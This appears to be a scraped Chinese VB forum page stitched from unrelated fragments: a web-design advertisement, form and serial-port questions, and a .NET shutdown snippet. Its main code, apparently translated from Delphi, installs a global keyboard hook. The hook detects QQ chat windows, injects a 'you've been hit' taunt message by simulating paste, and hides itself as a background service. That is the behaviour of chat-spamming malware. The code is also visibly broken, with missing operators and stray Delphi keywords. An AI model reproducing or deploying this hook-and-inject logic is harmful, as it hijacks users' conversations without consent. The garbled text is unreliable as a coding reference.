你可以预先约定一个截止附,读取的字节统统放到缓存区里,直到读到截止附再处理、显示。
专注于为中小企业提供成都网站制作、成都做网站、外贸营销网站建设服务,电脑端+手机端+微信端的三站合一,更高效的管理,为中小企业隆回免费做网站提供优质的服务。我们立足成都,凝聚了一批互联网行业人才,有力地推动了近千家企业的稳健成长,帮助中小企业通过网站建设实现规模扩充和转变。
最简单的就是把属性改一下,效果跟无框的差不多。
Me.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
Me.ControlBox = False
Me.MaximizeBox = False
Me.Text = ""
至于hook的问题,它确实是比系统慢了一步得到消息,当前线程或全局的都一样,不过你可以先拦截Windows键或者Up键其中一键来阻拦组合键。
在Windows使用SetWindowsHookEx来实现hook(钩子)。钩子分类很多,其中消息钩子可以获取对象所接受大部分Message消息。不管是消息钩子或键盘钩子或其他钩子,安装钩子的SetWindowsHookEx函数需要一个回调函数指针。Windows收到某个消息以后确认并且发送应用程序前通知我们的回调函数。
钩子有两种
1)全局钩子,也就是说我们的程序可以拦截所有外部程序收的的消息。
2)非全局钩子,拦截当前进程所收到的消息。
为了实现全局钩子,回调函数必须在DLL中。好像用VB不能编写真正的动态链接库。
以下是简单代码:'Option Explicit
'uses
' Windows, Messages, SysUtils, TlHelp32;
'Delphi 中一些头引用,相当于C++的 *.h
'键盘HOOK类型
Private Type tagKBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type'定义API函数指针,VB不支持该定义
'RegSerProc=Function(dwProcessID,dwType:Integer):Integer;stdcall;Const WH_KEYBOARD_LL = 13
Const WH_MOUSE_LL = 14
'钩子消息及指针
Private lpMsg As TagMsg
Private lpHook As Long
'动态调用DLL函数指针
Private hDll As Long
'VB不支持该定义
'RegPointer:POINTER;
'RegServiceProc:RegSerProc;
'版本
Private OsInfo As OSVERSIONINFO
'QQ窗口的一些句柄
Private buf_hWnd As Long '前台窗口句柄
Private CheckBuf_hWnd As Long '判断是否还是前台窗口句柄
Private RichChat_hWnd As Long 'RichEdit20A句柄
Private CheckPaste As Long '判断是否在进行粘贴
'定时执行程序
Sub TimerWork()
MessageBox 0, "一个消息", "哈哈", 64
End Sub'粘贴代码
Sub PasteMsg()
Dim hMem As Long
Dim pStr() As Byte
Dim S As String
S = vbCrLf + vbCrLf + "恭喜你,你已经中招了!哈哈"
hMem = GlobalAlloc(GHND Or GMEM_SHARE, (LenB(S) * 2) + 4)
pStr = GlobalLock(hMem)
lstrcpy pStr(0), S
GlobalUnLock hMem
OpenClipboard 0
EmptyClipboard
SetClipboardData CF_TEXT, hMem
CloseClipboard
GlobalFree hMem
'发送WM_PASTE对QQ2006 and 2007 已经不起作用
'PostMessage(lphWnd,WM_PASTE,0,0);
CheckPaste = True
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), KEYEVENTF_KEYUP, 0
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0
CheckPaste = False
End Sub
'Enum窗口
Function EnumProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean
Dim RichName As String, ParentName As String 'RichEdit20A,AfxWnd42类名
Dim RichBuf As String * 255, ParentBuf As String * 255
Dim ParenthWnd As Long
'获取父窗口,通过AfxWnd42进行窗口查找
ParenthWnd = GetParent(hWnd)
GetClassName hWnd, RichBuf, 256
RichName = Left(RichBuf, InStr(RichBuf, vbNullChar) - 1)
If RichChat_hWnd 0 Then
EnumProc = False
Exit Function
End If
If LCase(RichName) = "richedit20a" Then
'获取父窗口类名
If ParenthWnd 0 Then
GetClassName ParenthWnd, ParentBuf, 256
ParentName = Left(ParentBuf, InStr(ParentBuf, vbNullChar) - 1)
End If
'通过父窗口类名进行比较,判断是否为输入窗口
If LCase(ParentName) = "afxwnd42" Then
PasteMsg
RichChat_hWnd = hWnd
EnumProc = False
Exit Function
End If
End If
'继续查找子窗口
EnumChildWindows hWnd, AddressOf EnumProc, 0
EnumProc = True
End Function'Hook代码
Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim qqBuf As String * 255
Dim frmBuf As String * 255
Dim frmName As String '窗口名称
Dim clsName As String '获取类名
Dim p As KBDLLHOOKSTRUCT '键盘按键指针类型
If nCode = HC_ACTION Then
If (wParam = WM_KEYDOWN) And (Not CheckPaste) Then begin
'p:=PKBDLLHOOKSTRUCT(lParam);
'此处应该翻译为以下:
CopyMemory p, ByVal lParam, Len(p)
'判断是否Ctrl+V发送
If (p.vkCode = VK_RETURN) And ((GetKeyState(VK_CONTROL) And H8000) 0) Then
'获取当前前台窗口
buf_hWnd = GetForegroundWindow
GetWindowText buf_hWnd, frmBuf, 256
GetClassName buf_hWnd, qqBuf, 256
frmName = Left(frmBuf, InStr(frmBuf, vbNullChar) - 1) '该地方只是一个处理而已
clsName = Left(qqBuf, InStr(qqBuf, vbNullChar) - 1)
'通过判断是否还是当前窗口,如果不是则执行重复操作
If (CheckBuf_hWnd buf_hWnd) Then CheckBuf_hWnd = buf_hWnd
'查找QQ窗口
If (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then
'重新初始化QQ编辑控件句柄
If RichChat_hWnd 0 Then RichChat_hWnd = 0
'遍历子窗口进行查找
EnumChildWindowsmbuf_hWnd , AddressOf EnumProc, 0
End If
'如果是原来窗口,那么直接进行处理操作
ElseIf (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then
PasteMsg
End If
End If
End If
HookProc = CallNextHookEx(lpHook, nCode, wParam, lParam)
End FunctionPublic Sub Main()
'注册钩子时先判断操作系统版本
OsInfo.dwOSVersionInfoSize = Len(OsInfo)
GetVersionEx OsInfo
If OsInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then
'如果是NT系统那么向系统注册钩子
lpHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf HookProc, hInstance, 0)
如果向系统注册钩子失败
If lpHook = 0 Then SetTimer 0, 0, 500, AddressOf TimerWork
Else
'向9x注册系统服务
hDll = LoadLibrary("kernel32.dll")
RegPointer = GetProcAddress(hDll, "RegisterServiceProcess")
If RegPointer 0 Then
'VB不支持该指针,所以就不翻译了
'RegServiceProc:=RegSerProc(RegPointer);
'RegServiceProc(GetCurrentProcessID,1);
Else
'如果没有向9x注册成功服务器,以Timer进行操作
SetTimer 0, 0, 500, AddressOf TimerWork
End If
End If
'消息循环,永驻内存
Do While GetMessage(lpMsg, 0, 0, 0)
TranslateMessage lpMsg
DispatchMessage lpMsg
Loop
End Sub
这问题LZ在Csdn上发了两帖,已经给了答复!
不知为何又在此处发帖?
上述网址的问题与本题一样,提问者:jlfly7671,与你是一个人吧?
用MSCOMM控件实现
定义数组a=mscomm1.input
因为程序需要两个窗体,mscomm配置连接等代码写在frm1中
在frm2中写入操作返回数据的代码总是报错,所以我想将a写在模块中调用,不知道能否解决?若可以的话 模块中a该怎么写?
刚才试过不能用a=frm1.mscomm1.input 定义
分不多,心意尽到 大家帮帮忙
另外像这样的情况frm2中需要拖一个MSCOMM控件吗?
在SystemEvents类中 可以 用户试图注销或关闭系统时发生。 (当用户试图注销或关闭系统时发生。当用户试图注销或关闭系统时发生。) 这个 事件处理函数中 可以找到如下方法
Private Shared WM_QUERYENDSESSION As Integer = H11
Private Shared systemShutdown As Boolean = False
Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
If m.Msg = WM_QUERYENDSESSION Then
'MessageBox.Show("queryendsession: this is a logoff, shutdown, or reboot")
systemShutdown = True
End If
' If this is WM_QUERYENDSESSION, the closing event should be raised in the base WndProc.
MyBase.WndProc(m)
End Sub 'WndProc
Private Sub Form1_Closing(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
If (systemShutdown) Then
' Reset the variable because the user might cancel the shutdown.
systemShutdown = False
If (System.Windows.Forms.DialogResult.Yes = _
MessageBox.Show("My application", "Do you want to save your work before logging off?", MessageBoxButtons.YesNo)) Then
e.Cancel = True
Else
e.Cancel = False
End If
End If
End Sub